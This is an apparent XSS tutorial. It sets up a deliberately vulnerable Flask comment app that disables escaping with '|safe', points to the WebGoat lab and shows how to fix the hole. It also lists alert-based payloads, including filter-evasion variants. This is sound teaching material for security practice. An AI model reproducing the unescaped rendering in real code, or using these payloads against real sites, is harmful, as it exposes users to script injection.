Skip to content

🔐 XSS Tutorial – Flask Lab + WebGoat + Payloads

📌 What is XSS?

Cross-Site Scripting (XSS) is a web security vulnerability that allows attackers to inject malicious JavaScript into webpages. These scripts can:

  • Steal cookies / sessions

  • Deface websites

  • Redirect users

  • Execute actions as other users

⚠️ Types of XSS

Type Description
Stored Script is saved on the server (e.g., in a DB) and shown to others later.
Reflected Script is reflected off the server (e.g., in URLs, search, error pages).
DOM-based Script is run entirely on the client via insecure JS manipulations.

🧪 Practice XSS – Two Ways

✅ 1. Dockerized Vulnerable Flask App

This app is intentionally vulnerable to stored XSS and is portable with Docker.

📁 Project Structure

xss-flask-app/
├── app.py
├── Dockerfile
└── requirements.txt

📄 app.py

from flask import Flask, request, render_template_string

app = Flask(__name__)
comments = []

@app.route("/", methods=["GET", "POST"])
def home():
    if request.method == "POST":
        comment = request.form.get("comment")
        comments.append(comment)

    html = '''
    <!DOCTYPE html>
    <html>
    <head>
        <title>XSS Lab</title>
        <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">
    </head>
    <body>
        <h2>Leave a Comment</h2>
        <form method="post">
            <textarea name="comment" rows="4" cols="40"></textarea><br>
            <button type="submit">Submit</button>
        </form>
        <h3>Comments</h3>
        <ul>
            {% for comment in comments %}
                <li>{{ comment | safe }}</li>  <!-- vulnerable -->
            {% endfor %}
        </ul>
    </body>
    </html>
    '''
    return render_template_string(html, comments=comments)

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000)

📄 requirements.txt

flask

📄 Dockerfile

FROM python:3.11-slim
WORKDIR /app
COPY . .
RUN pip install -r requirements.txt
EXPOSE 5000
CMD ["python", "app.py"]

▶️ Build & Run

docker build -t xss-flask .
docker run -d -p 5000:5000 --name xss-lab xss-flask

Visit → http://localhost:5000
Try payloads like:

<script>alert('XSS!')</script>
<img src=x onerror=alert(1)>

✅ Fix XSS

Replace:

<li>{{ comment | safe }}</li>

With:

<li>{{ comment }}</li>

✅ Also set strict CSP headers like:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'none';">

✅ 2. Practice with OWASP WebGoat + WebWolf

🐳 Run with Docker:

docker run -d -p 8080:8080 -p 9090:9090 --name webgoat-lab webgoat/webgoat-8.2

Access:

Login:

Username: guest
Password: guest

🔍 What You Can Learn

  • Stored XSS

  • Reflected XSS

  • DOM-based XSS

  • Secure coding practices

🧠 XSS Payload Cheat Sheet

🔹 Basic

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<iframe src="javascript:alert(1)">

🔹 Filter Evasion

<scr<script>ipt>alert(1)</scr<script>ipt>
<scr\0ipt>alert(1)</scr\0ipt>

🔹 Events

<button onclick="alert('XSS')">Click</button>
<a href="#" onmouseover="alert('XSS')">Hover me</a>

🔹 Reflected via URL

http://localhost:5000/?q=<script>alert(1)</script>

🔒 Prevention Tips

  • Escape all user input ({{ comment }} instead of |safe)

  • Set CSP headers

  • Use frameworks that auto-escape (Jinja2, React, Vue)

  • Validate input on both client and server

🚀 Summary

Tool Description
Flask App Simple vulnerable app for stored XSS practice
WebGoat Full XSS lab with guided lessons via Docker
WebWolf Used alongside WebGoat for advanced challenges
Payloads Use cheat sheet to simulate real-world attacks